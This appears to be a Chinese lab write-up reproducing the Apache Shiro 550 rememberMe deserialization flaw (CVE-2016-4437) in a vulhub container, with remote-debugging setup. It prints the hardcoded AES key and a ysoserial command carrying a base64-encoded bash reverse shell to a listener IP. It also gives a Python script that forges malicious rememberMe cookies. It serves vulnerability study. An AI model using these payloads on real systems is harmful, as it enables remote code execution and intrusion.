shiro550-cve-2016-4437复现
shiro550-cve-2016-4437
复现环境:docker desktop
idea远程调试jdk版本必须与容器里的jdk1.8.0_102
匹配上,下载资源翻我CC1链那篇文章
注意burpsuite的proxy listeners端口改一下别跟docker容器的重了。
ysoserial工具:https://github.com/frohoff/ysoserial/releases/tag/v0.0.6
一键工具:https://github.com/SummerSec/ShiroAttack2/releases
jdk11后不支持JavaFX库,使用jdk1.8
文章目录
- shiro550-cve-2016-4437
- 1. 简介
- 2. 远程调试方法
- 3. 复现流程
- 1. 工具复现
- 2. 半手工复现
- 参考
1. 简介
影响版本:Shiro <= 1.2.4
原理:Apache Shiro 提供了一种“rememberMe”功能,用于在用户关闭浏览器后仍然保持会话,当启用该功能时,Shiro 会将用户的会话信息序列化并存储在一个 cookie 中,以便在用户重新访问时反序列化并恢复会话;在这边攻击者可以通过修改“rememberMe” cookie,注入特制的恶意Java 序列化对象;当 Shiro 反序列化这个恶意对象时,攻击者可以在目标系统上执行任意代码。
加密的密钥Key被硬编码在代码里(kPH+bIxk5D2deZiIxcaaaA==
)
Payload的构造流程:
恶意命令–>序列化–>AES加密–>base64编码–>发送Cookie
判断方法:随便输账号密码密码,勾选remember me
,burpsuite抓包发现请求包中有RememberMe字段,响应包有Set-cookie:rememberMe=deleteMe
字段
Shiro服务器识别身份加解密处理的流程
(1)加密
1.用户使用账号密码进行登录,并勾选"Remember Me"。
2、Shiro验证用户登录信息,通过后,查看用户是否勾选了”Remember Me“。
3、若勾选,则将用户身份序列化,并将序列化后的内容进行AES加密,再使用base64编码。
4、最后将处理好的内容放于cookie中的rememberMe字段。
(2)解密
1、当服务端收到来自未经身份验证的用户的请求时,会在客户端发送请求中的cookie中获取rememberMe字段内容。
2、将获取到的rememberMe字段进行base64解码,再使用AES解密。
3、最后将解密的内容进行反序列化,获取到用户身份。
2. 远程调试方法
C:\Users\21609\vulhub\shiro\CVE-2016-4437
目录下修改docker-compose.yml,让它能远程调试
services:
web:
image: vulhub/shiro:1.2.4
ports:
- "8080:8080"
- "5050:5050"
command: java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050 -jar /shirodemo-1.0-SNAPSHOT.jar
启容器
C:\Users\21609\vulhub\shiro\CVE-2016-4437>docker-compose up -d
docker desktop进容器里执行命令
su
find / -name "*.jar"
java -version #openjdk version "1.8.0_102"
cmd里把容器里的文件拷贝出来
docker cp 67192e54766a:/shirodemo-1.0-SNAPSHOT.jar shirodemo-1.0-SNAPSHOT.jar
改后缀为zip解压,idea打开当前目录,右键lib目录,add as library
在file->project structure->module->dependencies里选中lib添加目录BOOT-INF
,然后记得打勾,sdk选1.8.0_102
新建debug configuration
navigate->Search Everywhere,搜索onSuccessfulLogin
函数
isRememberMe
为true时,进rememberIdentity函数
在下图处打断点
然后idea运行debug configuration
使用admin:vulhub
进行登录
可以看到程序成功断下
AES CBC模式加密
注意到密钥是固定值
3. 复现流程
1. 工具复现
C:\Program Files\Java\jdk1.8.0_102\bin>.\java.exe -jar C:\Users\21609\Downloads\shiro_attack-4.7.0-SNAPSHOT-all\shiro_attack-4.7.0-SNAPSHOT-all.jar
填入密钥kPH+bIxk5D2deZiIxcaaaA==
后检测密钥,再点击检测当前利用链。
点击命令执行输入命令即可执行。
2. 半手工复现
起个控制台
nc64 -lvvp 8054
使用ysoserial生成CC5的Gadget:
#payload不能包含>,<
#进https://forum.ywhack.com/shell.php选取base64编码的payload
#ip:192.168.75.180 port:8054
#使用 java 命令运行 ysoserial-all.jar 中的类,监听指定端口等待连接
C:\Users\21609\Desktop\code>java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE4MC84MDU0IDA+JjE=}|{base64,-d}|{bash,-i}"
#pip install pycryptodome
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'C:\\Users\\21609\\Desktop\\code\\ysoserial-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
#stdout=subprocess.PIPE:捕获命令的标准输出(即生成的 payload)
BS = AES.block_size #获取AES加密的块大小(通常为 16 字节)
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
#用于对数据进行填充,使其长度是块大小的整数倍(PKCS7 填充)
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #base64解码出AES密钥
iv = uuid.uuid4().bytes #UUID转字节流作为AES加密的初始化向量
encryptor = AES.new(key, AES.MODE_CBC, iv)#创建一个 AES 加密器
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(input("请输入`攻击机ip:JRMP端口`:"))#攻击机ip:JRMP端口
#192.168.75.180:7777
print("rememberMe={0}".format(payload.decode()))
burpsuite抓包修改一下
成功
参考
IDEA远程调试Docker中程序的方法 AresX
Web渗透:Shiro550漏洞(CVE-2016-4437)WolvenSec
shiro550反序列化漏洞原理与漏洞复现 程序员负总裁